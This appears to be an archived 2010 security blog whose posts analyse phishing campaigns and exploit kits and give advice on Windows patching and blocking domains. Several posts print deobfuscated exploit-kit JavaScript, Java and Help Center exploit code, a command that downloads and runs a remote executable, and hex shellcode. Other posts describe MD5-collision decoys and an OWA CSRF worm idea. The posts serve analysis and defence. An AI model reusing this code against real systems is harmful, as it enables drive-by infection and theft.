Google vs Facebook (who will control your default NET social identity?)

A new war is starting.. a virtual war for control of user’s NET social identity. Two the big players: Google vs Facebook.

GOOGLE
Google keep track and profile your identity through your searches in the NET and your use of its web applications (mail, talking, etc..). They probably trying to profile your real life identity, the one that everybody express by searches (google search, translate,..) and by the infos & content managed by their social NET apps (gmail, gtalk,...) that you use.
It’s not simple to correlate all the info’s and derive the user profile’s from his behaviors on the NET, but it’s his real identity getting profiled, including all those infos and aspects he’ll never reveal to anybody. We can call this INdirect “REAL LIFE ID” profiling.
 
FACEBOOK
Instead Facebook is trying to profile user “best looking & wanna be” social NET identity through his self-published contents. Everybody considers his Facebook’s page like the presentation card and put there only his best photos, best ideas, best comments, sometimes also best willing but… NEVER a real secret & unmentionable  fears, wishes, feelings. NEVER NEVER something that could “stain” his social NET identity and his social NET LOOK!!!
It’s easier to correlate all the info’s that are published from the user and directly derive his profile, and only his virtual identity getting profiled. We can call this Direct “VIRTUAL LIFE ID” profiling.
 
In both case, why profiling users? Simple answer: money!!!
FREE SERVICE for YOU -> USERS PROFILING –> CUSTOM ADS –> MONEY (a lot of…) for THEM !!!

OPEN QUESTION
Which ID is more valuable, REAL or VIRTUAL?? Profiling which one more dangerous for user’s privacy? And how user feel being profiled?

SANS Cyber Security Awareness Month - My little contribute..

WINDOWS CLIENT

1. Verify checksum of Microsoft CD/DVD you are installing from. Here (http://msdn.microsoft.com/en-gb/subscriptions/downloads/default.aspx) you can find original MS checksum for all product.
2. Ensure Windows Update is turned on, set to install recommended updates and configured to install updates daily at a time when the computer is likely to be on!!
3. Install latest version Secunia Personal Software Inspector (PSI). PSI monitors your Windows applications, lets you know when applications are out of date, and provides download links to help remediate. PSI is free for non-commercial use (Configure it to show also vulnerable DLL unchecking Show only "Easy-to-Patch" programs in Settings tab).
4. Consider keep auto-updated the major ATTACK VECTOR client apps used by malware agent:

 

• Adobe Flash Player

Installed version checking (http://www.adobe.com/software/flash/about/)

Flash_Player_10_ActiveX (Internet Explorer for Windows only)

(http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe)

Flash_Player_10_Plugin (All other Windows browsers)

(http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe)

>>End-user<<autoupdate settings management

(http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager05.html#118377)

>>Enterprise IT Admin<< autoupdate settings management

(http://kb2.adobe.com/cps/167/16701594.html)

 

• Adobe Acrobat & Reader

Installed version checking (Adobe Acrobat & Reader Menu –> Help –> About)

>>End-user<< autoupdate settings management

(http://help.adobe.com/en_US/Acrobat/9.0/Standard/WS58a04a822e3e50102bd615109794195ff-7fef.w.html)

>>Enterprise IT Admin<< autoupdate settings management

Updater changed in version 9.3.2 and 8.2.2 and later (http://kb2.adobe.com/cps/838/cpsid_83813.html)

AutoUpdate Settings management (http://kb2.adobe.com/cps/837/cpsid_83709.html)

 

• Java JRE

Important: Previous to JRE 6 Update 10, installing or updating to a newer Java version would add a new Java Runtime Environment (JRE) instead of replacing the existing version. Starting with JRE 6 Update 10, future Java updates will patch the current version by default instead of adding an additional version. This will prevent an accumulation of unused and potentially insecure older JRE versions.

Installed version checking (http://www.java.com/en/download/installed.jsp?detect=jre&try=1)

>>End-user<< autoupdate settings management

(http://www.java.com/en/download/help/java_update.xml)

>>Enterprise IT Admin<< AutoUpdate Settings management

Autoupdate policy settings ([HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Update\Policy])

Deployment Configuration File and Properties

(http://download.oracle.com/javase/1.5.0/docs/guide/deployment/deployment-guide/properties.html)

Deployment - Java Control Panel – Update

(http://download.oracle.com/javase/1.5.0/docs/guide/deployment/deployment-guide/jcp.html#update)

Linkedin Phishing Massive Campaign moved to use CrimePack + Zbot.FX

As soon as 9/29/2010 it seems that the malguys changed the exploit pack used in LinkedIn phishing massive campaign.

The spam mail was always a “Linkedin like” reminder:

The URL inside refer to http://qfco8kkt.info/ 

that redirect to http://kerstdisplays.nl/1.html.

 

At first check this page was

BEFORE
PLEASE WAITING.... 4 SECONDS
<meta http-equiv="refresh" content="4;url=http://medicineni.com" />
<iframe width="0" height="0" src="http://pydukog.co.cc/wiki/index.php?past=2&action=boz&message=168&str=0"></iframe>

http://medicineni.com –> Pharmacy Express website…

 

then later chaged to

<body>
<a href="http://dewitnieuws.nl/flash_player_07.78.exe"><img
style="border: 0px solid ; width: 499px; height: 158px;" alt=""
src="http://dewitnieuws.nl/1.JPG"></a>
</body>

<meta http-equiv="refresh" content="4;url=http://dewitnieuws.nl/flash_player_07.78.exe" />
<iframe width="0" height="0" src="http://pydukog.co.cc/wiki/index.php?past=2&action=boz&message=168&str=0"></iframe>

http://dewitnieuws.nl/flash_player_07.78.exe is Zbot.FX (MD5 4f56196d437be7e1bfecefb92b83872d) Anubis Automated Analisys

The common part referred by http://pydukog.co.cc/wiki/index.php?past=2&action=boz&message=168&str=0

took us to crypted code seem belonging to CrimePack exploit kit:

<html><head></head><body>Loading...<applet code="cpak.Crimepack.class" archive="http://pydukog.co.cc/wiki/jar5.php" width="666" height="300"><param name="data" value="http://pydukog.co.cc/wiki/exe.php?x=jar5"></applet><applet code="Exploit.class" archive="http://pydukog.co.cc/wiki/j.php" width="666" height="300"><param name="data" VALUE="http://pydukog.co.cc/wiki/exe.php?x=jjar"></applet><div id="page" style="display: none">ZnVu Y3 R pb24gSnVtcEF 3YXko K Q0Kew0K CXdpbmRvdy5vcGVuK Cdo dHRwOi8vd 3 d3Lmdvb2d s ZS5jb20 vNDA0Lyc sICd fc2VsZ icpOw0KfQ0KDQpmd W5 jdGlvbiB K R FQoKQ0Ke w0K CXRye Q0KCXs JDQ oJCXZhciB 1 ID0 g J2h 0dHA6IC1KLWp hciA tSlxcXFxw

..

..

aWYgKF9JRTcgJiYgX1hQKQ 0Kew0KC XNldF R pb WV vdXQg KE hDUC wgdGlt KTs N Cgl0aW 0gKz0 gMTAw MDsNCn 0 NCg0KaWYgKF9J RTYpDQp7DQoJc2V0VGl tZW91dCA o TURBQywgdG ltK TsNCgl 0 aW0gKz0g M TAwMDs NCn0NC g 0KD Q ppZiAodGlt I D4 gMCkg dGlt ICs9IDEw MDAwOw0KDQpzZXRUaW1lb3 V 0IChKd W1w QXdhe SwgdG ltK TsNCg== </div><script type="text/javascript" src="http://pydukog.co.cc/wiki/js.php"></script></body></html>

Further analysis will follow...

New Linkedin Phishing Campaign (with SEO Sploit Pack Kit & Zbot.FX)

Starting from 9/27/2010 a new phishing campaign involving Linkedin has been observed.

The spam mail looks like:

contains three href all to the same url: http://vlaamsbelangturnhout.org/1.html

 

The page was a redirect to URL http://borlakas.info/asdfasgs/trafflit.php containing evidence of SEO Sploit Kit (or SEO Sploit Pack) been used:

<script>if (navigator.javaEnabled())
{
  var metka = '2';
}
location.href = ('http://borlakas.info/asdfasgs/rotator.php?unique=' + metka + '');
if (!frames.navigator['taintE' + 'nabled']())
{
  var metka = '1';
}
location.href = ('http://borlakas.info/asdfasgs/rotator.php?unique=' + metka + '');
</script>

The script based on evidence of Java supported browser page was a redirect to URL http://borlakas.info/asdfasgs/rotator.php with value unique=2 or unique=1 if browser data-tainting was not enabled.

“..Data Tainting is a combination of the Same Origin Policy and a setting on the client (user's) computer. It works in much the same way. It controls the right to trust another domain and access JavaScript variables and objects from a page served from a different server, and can be turned on and off at will. Basically, if Data Tainting is turned ON, a message window will pop up saying that accessing JavaScript entities on pages from another domain is not allowed…”

borlakas.info is nowadays NXDOMAIN but was

Host	IP address	AS number	AS name	Country
2010-09-28	95.211.127.20	16265	LEASEWEB LEASEWEB AS	NL

and the IP is now refered by

This page rotator.php contains an obfuscated java script, with an external js decrypting engine (media.js) in form

<html>
<script type='text/javascript' src='js/media.js'></script>
<body>
<script language="javascript">punkoutyellow[luckoutnoway](GUFFEND.strungwelltodo('....obfusched code....','11155783','39874477'));</script>
<body>
</html>

 

that once deobfusched with a simple “alert” substitution in media.js revealed the exploit kit js engine that tries to exploit 6 vulnerabilities otherwise redirecting to google.com:

<body>
<script>
function PDF()
{ .. }
function arbt()
{ .. }
function JAVABOF()
{ .. }
function MkM720Jny()
{ .. }
function JAVASGB()
{ .. }
function JAVASMB()
{ .. }
if (PDF() || arbt() || MkM720Jny() || JAVASMB() || JAVASGB() || JAVABOF()  )
{
}
setTimeout(function ()
{
  REDIRECT()
}
, 7000);
function redir()
{
  window.location='http://google.com';
}
function REDIRECT()
{
  setTimeout('redir();
  ', 1000);
}
</script>

 

The SEO Sploit Kit exploit in details:

1- function PDF()

{

working analysis...

  Rioso4oplcgzzhd8 = 'http://borlakas.info/asdfasgs/files/asshole.pdf';
  Xbwd72ue1rb = 25-(12*2);
  var Jztblyv7l = document.createElement('div');
  Jztblyv7l.id = 'Gtjpqcdqt9jlbp';
  document.body.appendChild(Jztblyv7l);
  Yej6pkmusdgjp = 'Xbwd72ue1rb';
  Qb0inb27krky = document.createElement('i)@f&!r())a^!#&m)&e@))'.replace(/$|#|&|\^|\(|\)|@|\!/ig, ''));
  Qb0inb27krky.src = Rioso4oplcgzzhd8;
  Qb0inb27krky.height = Xbwd72ue1rb;
  Qb0inb27krky.width = Xbwd72ue1rb;
  document.getElementById('Gtjpqcdqt9jlbp').appendChild(Qb0inb27krky);
  return 0;
}

asshole.pdf  VirusTotal 2010-09-28 19:05:34 (UTC) Result: 21/43

 

2- function arbt()

CVE-2010-1885 - Microsoft Microsoft Windows Help and Support Center

{
  var asx = 'http://borlakas.info/asdfasgs/files/simple.asx';
  if (window.navigator.appName == "Microsoft Internet Explorer")
  {
    var o = document.createElement("OBJECT");
    o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
    o.openPlayer(asx);
  }
  else
  {
    var o = document.createElement("IFRAME");
    o.setAttribute("src", asx);
    document.body.appendChild(o);
  }
}

The simple.asx MediaPlayer file requested another obfuscated js, that once decrypted reveal obfusched HCP vulnerability exploit, that deobfuscated was:

"cmd /c cd../
&echo new Function(
'a=ActiveXObject;
s=new a("WScript.Shell");
o=new a("ADODB.Stream");
x=new a("Microsoft.XMLHTTP");
f=s.Environment("Process").Item("TEMP")+"/0.exe";
x.open("GET","http://borlakas.info/asdfasgs/mdcload.php",0);
x.send();
o.Mode=3;
o.Type=1;
o.Open();
o.Write(x.responseBody);
o.SaveToFile(f,2);
s.Run(f,0);')();
>.js
|cscript .js&del /q .js
|taskkill /F /IM helpctr.exe"

3- function JAVABOF()

CVE-2008-5353.d - Not properly enforced context of ZoneInfo objects during deserialization allow run untrusted applets and applications in a privileged context

{
  var yDiv = document.createElement('DIV');
  yDiv.id = 'y';
  document.body.appendChild(yDiv);
  yDiv.innerHTML = "<applet code='sunos.Manuals.class' archive='http://borlakas.info/asdfasgs/files/bobbystellar.jar' width='2' height='2'><param name='data' value='http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=3&n='><param name='cc' value='1'></applet>";
}

bobbystellar.jar  VirusTotal 2010-09-28 06:58:49 (UTC) Result: 9/43

 

4- function MkM720Jny()

CVE-2008-5353.e - Not properly enforced context of ZoneInfo objects during deserialization allow run untrusted applets and applications in a privileged context

{
  var PHqYj87uU=document.createElement('DIV');
  PHqYj87uU.id='y';
  document.body.appendChild(PHqYj87uU);
  PHqYj87uU.innerHTML="<applet  CODE = 'SiteError.class' ARCHIVE = 'http://borlakas.info/asdfasgs/files/j.jar' WIDTH = 0 HEIGHT = 0><PARAM NAME = CODE VALUE = 'SiteError.class' ><PARAM NAME = ARCHIVE VALUE = 'http://borlakas.info/asdfasgs/files/j.jar' ><param name=type value=application/x-java-applet;
  version=1.6><param name=scriptable value=false><param name=url value='http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=7&n='></applet>";
}

j.jar  VirusTotal 2010-09-28 01:20:36 (UTC) Result: 9/42

 

5- function JAVASGB()

CVE-2009-3867 - Stack-based buffer overflow in the HsbParser.getSoundBank function

{

  var zDiv = document.createElement('DIV');
  zDiv.id = 'z';
  document.body.appendChild(zDiv);
  zDiv.innerHTML = "<applet code='seopack' archive='http://borlakas.info/asdfasgs/files/java.jar' width='2' height='2'><param name='sc' value='505351525657559CE8000000005D83ED0D31C064034030780C8B400C8B701CAD8B4008EB098B40348D407C8B403C5657BE5E01000001EEBF4E01000001EFE8D60100005F5E89EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356302000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C278020000526A00FFD06A0589EA81C25E01000052FF955A01000089EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356E02000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C2A6020000526A00FFD06A0589EA81C25E01000052FF955A0100009D5D5F5E5A595B58C30000000000000000000000000000000047657454656D705061746841004C6F61644C696272617279410047657450726F63416464726573730057696E4578656300BB89F289F730C0AE75FD29F789F931C0BE3C00000003B51B02000066AD03851B0200008B707883C61C03B51B0200008DBD1F020000AD03851B020000ABAD03851B02000050ABAD03851B020000AB5E31DBAD5603851B02000089C689D751FCF3A65974045E43EBE95E93D1E003852702000031F69666ADC1E00203851F02000089C6AD03851B020000C3EB100000000000000000000000000000000089851B0200005657E858FFFFFF5F5EAB01CE803EBB7402EBEDC355524C4D4F4E2E444C4C0055524C446F776E6C6F6164546F46696C6541007064667570642E6578650063726173682E70687000687474703A2F2F626F726C616B61732E696E666F2F61736466617367732F79657474696F776E73736F6D656C696C7A2E7068703F653D39266E3D0090'><param name='np' value='90909090'></applet>";
}

java.jar  VirusTotal 2010-09-29 08:50:19 (UTC) Result: 12/42

 

6- function JAVASMB()

CVE-2010-0886 - Java Deployment Toolkit Performs Insufficient Validation of Parameters

{
  try
  {
    var u = 'http: -J-jar -J\\\\188.95.48.70\\smb\\new.avi http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=5&n= none';
    if (window.navigator.appName == 'Microsoft Internet Explorer')
    {
      try
      {
        var o = document.createElement('OB'+'JE'+''+'CT');
        o.classid = 'clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA';
        o['launch'](u);
      }
      catch(e)
      {
        var o2 = document.createElement('OB'+''+'JE'+''+'CT');
        o2.classid = 'cls'+'id:8AD9C840-044E-11D1-B3E9-00805F499D93';
        o2['launch'](u);
      }
    }
    else
    {
      var o = document.createElement('O'+''+'BJ'+'EC'+''+'T');
      var n = document.createElement('O'+''+'BJ'+'EC'+''+'T');
      o.type = 'applicati'+''+'on/np'+''+'run'+'time-script'+''+'able-plu'+''+'gin;
      de'+'ploy'+''+'me'+''+'ntto'+''+'olkit';
      n.type = 'applica'+''+'tion/ja'+''+'va-dep'+''+'lo'+'ym'+''+'ent-too'+''+'lk'+'it';
      document.body.appendChild(o);
      document.body.appendChild(n);
      try
      {
        o['l'+''+'a'+'u'+''+''+''+'n'+'c'+''+'h'](u);
      }
      catch (e)
      {
        n['l'+''+'a'+'u'+''+''+''+'n'+'c'+''+'h'](u);
      }
    }
  }
  catch (e)
  {
  }
}

For all exploit Payload was always the same. All the following url

http://borlakas.info/asdfasgs/mdcload.php

http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=3&n=

http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=7&n=

http://borlakas.info/asdfasgs/yettiownssomelilz.php?e=5&n=none

get to

Zbot.FX Bot  (MD5 4f56196d437be7e1bfecefb92b83872d) Anubis Automated Analisys

with the following referenced C&C:

Name	Query Type	Query Result	Protocol
ohmaebahsh.ru	DNS_TYPE_A	77.78.249.29	udp

A Good Malware Decoy vs VirusTotal based on MD5 Collision

MD5 Collision tool (http://www.mscs.dal.ca/~selinger/md5collision/) let everybody create malicious executables that has the same MD5 of another legitimate file.

Suppose the legitimate (hello.exe) has been  already analyzed on VirusTotal (like http://www.virustotal.com/file-scan/reanalysis.html?id=1316543942a8c6cd754855500cd37068edbbd8b31c4979d2825a4e799fed6102-1283241840).

The “Already Analyzed” check is based JUST on MD5: so future check of “same MD5-different SHA” malicious exec will propose the “old legitimate result report” unless you explicitly ask for recheck!!

But how many will ask for recheck and wait the submission queue?

Update: VirusTotal “Already Analyzed” is based on same sha-256 too. See comments.

Skype Privacy secret revealed??

Stated so by just one man!!
Code here: http://cryptolib.com/ciphers/skype/
Download before it will be removed ;-)

Corporate OWA owners..pay attention to your click!!

A CSRF vuln in MS OWA till 2007 SP2 expose corporate/provider mail to be pwned.. Detail here:
http://sites.google.com/site/tentacoloviola/pwning-corporate-webmails

Update: my further investigation revealed that vulnerable OWA platform (i can confirm till 2007 SP2 included) doesn't check the HTTP referrer of owa cmd query so exposing webmail to CSRF attack (Cross Site Request Forge).
Many action in OWA context can be exploited like setting a all-inbox forward rule, sending a forged mail, access&steal contact list, delete mail, etc..

Imagine all this combined togheter.. and you got the first amazing OWA worm (POC under development)!!

Remember..
OWA 2007 patched in SP3
OWA 2003 no more supported, no party!! :-(

Have fun

Theory about Aurora's backstage

A one way confirmation theory about who's behind the "Aurora Operation":
http://www.scribd.com/full/33788819?access_key=key-1lcdjsqzz3z5v5apqrfu

Do you agree?? Naaaaaaa...

IE 0day CVE-2010-0249 – Blocking and Tracking

Here are some suggested action to Block and Track the initial use of CVE-2010-0249 in “Operation Aurora” and the current use in exploiting the Mass (thx to Extraexploit for additional one).
Operation Aurora Domain List

• yahooo.8866.org
• sl1.homelinux.org
• 360.homeunix.com
• li107-40.members.linode.com
• ftp2.homeunix.com
• update.ourhobby.com
• blog1.servebeer.com

CVE-2010-0249 exploiting the Mass
Proxy Filtering and DNS Query Tracking (Exact and less restrictive)
… exploiter & 2nd stage hosting domain list

• 201003.3322.org
• systemxp.3322.org
• tempxxp.3322.org
• teepsnp.3322.org
• mxdo102.3322.org
• 201003.6600.org
• 66cc.7766.org
• wwaa4.7766.org
• 201002.7766.org
• 22ee.8866.org
• 22cc.8866.org
• 201003.8866.org
• xx222.8866.org
• www.ms8.cc
• www.babooa562.com
• ssun.dddwfft.com NEW
• www.fenghuashi.com
• a05.xfbfgw.com
• news.21npc.com
• www.qvodcom1.com
• h.d5d3.com
• ff.c5c3.com
• club.9istyle.com
• www.tsqzsb.cn
• www.fsus.cn
• malegebi251.21sys21.cn
• googleie2.23sys23.cn
• qqqqqqqqqqqqqqqqqqqbv.24sys24.cn
• www.latax.gov.cn
• vbdf23.xicp.cn NEW
• bbb.nba1001.net
• www.ynew.net
• we55.qq88.in NEW
• we22.qq88.in NEW
• bb55.qq66.in NEW
• 99.qq66.in NEW

Proxy Filtering and DNS Query Tracking (Wide and more restrictive – can block new one)
… exploiter & 2nd stage hosting

• *.3322.org
• *.6600.org
• *.7766.org
• *.8866.org

or better

• REGEXP .*\.\d{4}\.org.*

and

• *ms8.cc
• *.babooa562.com
• *.fenghuashi.com
• *.xfbfgw.com
• *.21npc.com
• *.9istyle.com
• *.qvodcom1.com
• *.d5d3.com
• *.c5c3.com
• *.dddwfft.com NEW
• *.tsqzsb.cn
• *.21sys21.cn
• *.23sys23.cn
• *.24sys24.cn NEW
• *.fsus.cn
• *.latax.gov.cn
• *.xicp.cn NEW
• *.nba1001.net
• *.ynew.net
• *.qq88.in NEW
• *.qq66.in NEW

Updated 28/1/2010 18.00 GMT+1 

IE 0day CVE-2010-0249 – Exploiting the mass… – Part 1 UPDATE

A new hosting site in the wild, with a new 2nd stage malware (different MD5)

Working	Exploiter URL (.html)	Expl. Related URL (.jpg)	2nd stage URL
YES	201003.6600.org:2988/log/ie.html	201003.6600.org:2988/log/What.jpg	http://stemip.3322.org:8277/log.css

 MD5 Compare

Exploiter URL	ie.html (MD5 HASH)	Size (Bytes)	what.jpg (MD5 HASH)	Size (Bytes)
201003.6600.org	14CE646C72DF3D3D30D661CB89F528B5	2,183	984459565D0E229797CBBBD2B1ACBB50	3,830

WEPAWET

Exploiter URL	what.jpg (MD5 HASH)	WEPAWET First analysis
201003.6600.org	984459565D0E229797CBBBD2B1ACBB50	2010-01-21 03:55:48

2nd STAGE MALWARE

Filename	Size (Bytes)	MD5 Hash	AV Detection
log.css	90,624	FE7F4A557697E0F3D1D87B09218A2BE3	26/41

Common Search String (unchanged)

*.org:2988/*/ie.html
*.org:2988/*/what.jpg
*p.3322.org:8277/*down.css
*p.3322.org:8277/*log.css

All the other related site here http://whsbehind.blogspot.com/2010/01/ie-0day-cve-2010-0249-exploiting-mass.html

IE 0day CVE-2010-0249 – Updated Overview

Slowly the truth is cooming out…
The IE 0day vulnerability has been used in two scenario till now.

In first time for a targetted & silent attack against many worldwide companies finalized to intellectual properties stealing in operation “Aurora” through set up of Trojan.Hydraq bots (http://www.symantec.com/connect/blogs/trojanhydraq-incident).

Nowadays after the vuln became public, it’s going to be widely used for common malware spreading to the Mass (http://extraexploit.blogspot.com/2010/01/cve-2010-0249-in-wild-xx2228866org-and.html).

A quickly compare show that:

- IE exploitation was in both case based on heavily-encrypted javascript exploit. Aurora’s “yellow” boys probably targetted employers and public known mail accounts with fake&but trustable social engineered e-mail, convincing them to go on first malicious hosting site. Instead “scrounger” malguys are now injecting malicious iframe in “high contact volume” forum and website.

- Shellcode used was similar: Yellows code COMELE cause a connection to demo1.ftpaccess.cc/demo/ad.jpg downloading a malicious, XOR-encrypted binary that is detect as Trojan.Hydraq/Roarur.dr.

This file is saved to %Application Data%\a.exe, such as "C:\Documents and Settings\User\Application Data\a.exe".  A.exe is decrypted to b.exe in the same directory and executed.


It seems that Scroungers just take SC from Comele used in “Aurora” and modified it, changing 2nd stage download URL and removing its decrypting code.

Code from Comele
 
Modified actual code (an absolute JMP overwrite a conditional jnz and bypass piece of code – 2nd stage decrypt - unusefull to Scroungers)
 

So modified code simply donwload a malicious binary, saving it as "C:\Documents and Settings\User\Application Data\f.exe” and execute it.


- 2nd stage malware is obviously quite different: Trojan.Hydraq / Roarur  in first case; two version (down.css and log.css) of a generic malware in the second.

Virustotal Trend

Filename	2010.01.19 (UTC)	2010.01.20 (UTC)	2010.01.21 (UTC)
down.css	27/41	30/41	30/40
log.css	22/40	30/41	32/41

SUMMARY

Threat	IE exploit	Shellcode	2nd stage malware	3rd stage malware
Operation Aurora	supposed social engineered targetted email	Comele	Trojan.Hydraq / Roarur.dr (XOR Crypted)	Trojan.Hydraq / Roarur.dll
IE CVE-2010-0249 Exploiting the mass…	injected iframe in forum/website	Modified Comele	Generic Trojan	na

IE 0day CVE-2010-0249 – Exploiting the mass… – Part 3

SHELLCODE STAGE

As usal the shellcode has a first step decryption routine (simply xor)

followed by dll loading and finding external function reference address:

 

Then the 2nd stage malware is downloaded and stored in special local path file name f.exe

and is executed

IE 0day CVE-2010-0249 – Exploiting the mass… – Part 2

EXPLOITER STAGE

Let’s see the exploiter..

The ie.html file that exploit IE CVE2010-0249 vulnerability

has an obfuscated piece in var sss

that once decoded reveal deobfuscation step needed for decoding external data in what.jpg  file (referenced by VAR AH01 to AH06)

to produce the working shellcode (here not yet unescaped):

IE 0day CVE-2010-0249 – Exploiting the mass… – Part 1

Now that IE DOM exploit details are well known, malguys are widely deploying exploiter all around.

Related malicious exploiter URL ( check also extraexploit at CVE-2010-0249 in the wild - xx222.8866.org and others – part 0) usually inserted as iframe in high volume site – blog, forum, etc.:

Working	Exploiter URL (.html)	Expl. Related URL (.jpg)	2nd stage URL
NO	66cc.7766.org:2988/dz/ie.html	66cc.7766.org:2988/dz/what.jpg	systemxp.3322.org:8277/down.css
YES	xx222.8866.org:2988/dz/ie.html	xx222.8866.org:2988/dz/what.jpg	tempxxp.3322.org:8277/down.css
YES	201003.8866.org:2988/log/ie.html	201003.8866.org:2988/log/what.jpg	tempxxp.3322.org:8277/log.css
YES	wwaa4.7766.org:2988/log/ie.html	wwaa4.7766.org:2988/log/what.jpg	teepsnp.3322.org:8277/log.css
YES	22cc.8866.org:2988/dz/ie.html	22cc.8866.org:2988/dz/what.jpg	teepsnp.3322.org:8277/down.css

 

MD5 Compare

Exploiter URL	ie.html (MD5 HASH)	Size (Bytes)	what.jpg (MD5 HASH)	Size (Bytes)
66cc.7766.org	na	-	na	-
xx222.8866.org	14CE646C72DF3D3D30D661CB89F528B5	2,183	F0EF5D9E4D68E0E72FF9DBFE6D4D8357	3,838
201003.8866.org	14CE646C72DF3D3D30D661CB89F528B5	2,183	F0819E94BC650D675B78322C26DDC92D	3,830
wwaa4.7766.org	14CE646C72DF3D3D30D661CB89F528B5	2,183	F0819E94BC650D675B78322C26DDC92D	3,830
22cc.8866.org	14CE646C72DF3D3D30D661CB89F528B5	2,183	F0EF5D9E4D68E0E72FF9DBFE6D4D8357	3,838

WEPAWET

Exploiter URL	ie.html (MD5 HASH)	what.jpg (MD5 HASH)	WEPAWET First analysis
xx222.8866.org	14CE646C72DF3D3D30D661CB89F528B5	F0EF5D9E4D68E0E72FF9DBFE6D4D8357	2010-01-19 16:37:47
wwaa4.7766.org	14CE646C72DF3D3D30D661CB89F528B5	F0819E94BC650D675B78322C26DDC92D	2010-01-20 05:40:54
22cc.8866.org	14CE646C72DF3D3D30D661CB89F528B5	F0EF5D9E4D68E0E72FF9DBFE6D4D8357	2010-01-20 06:03:05

2nd STAGE MALWARE

Filename	Size (Bytes)	MD5 Hash	AV Detection
down.css	88,576	50F263B382E85F8A20A1A27638F5B154	Virus Total 27/41 (2010.01.19 12:42:46)
log.css	88,576	5409DC21AB0F60989C349EAEF307AB31	Virus Total 22/40 (2010.01.18 22:43:54)

Common Search String

*.org:2988/*/ie.html
*.org:2988/*/what.jpg
*p.3322.org:8277/*down.css
*p.3322.org:8277/*log.css

It seem there are two exploiter that reference different 2nd stage malware. Have fear..

0xFF

IE 0day CVE-2010-0249 - How to truly check if DEP is on for your IE??

As stated by Microsoft at http://blogs.technet.com/srd/archive/2010/01/15/assessing-risk-of-ie-0day-vulnerability.aspx, DEP can help in mitigate vulnerability impact. How to check if your IE is under DEP protection?

Simply use Sysinternal Process Explorer and enable the DEP colum in the normal view.

IE 0day CVE-2010-0249 – The original source??

CVE-2010-0249 Exploiter Comele and Trojan.Hydra have been found in the wild, supposed involved in "Operation Aurora", top newtech company (Google, Adobe, Yahoo, Juniper..) intellectual properties stealing. Exploit make use of new IE 6,7,8 0day vuln.
Any relationship with this... http://twitter.com/viciousf on the SALE exploit?? A joke?? Or a new different threat is just wating the best offer??

Make your own opinion...
0xFF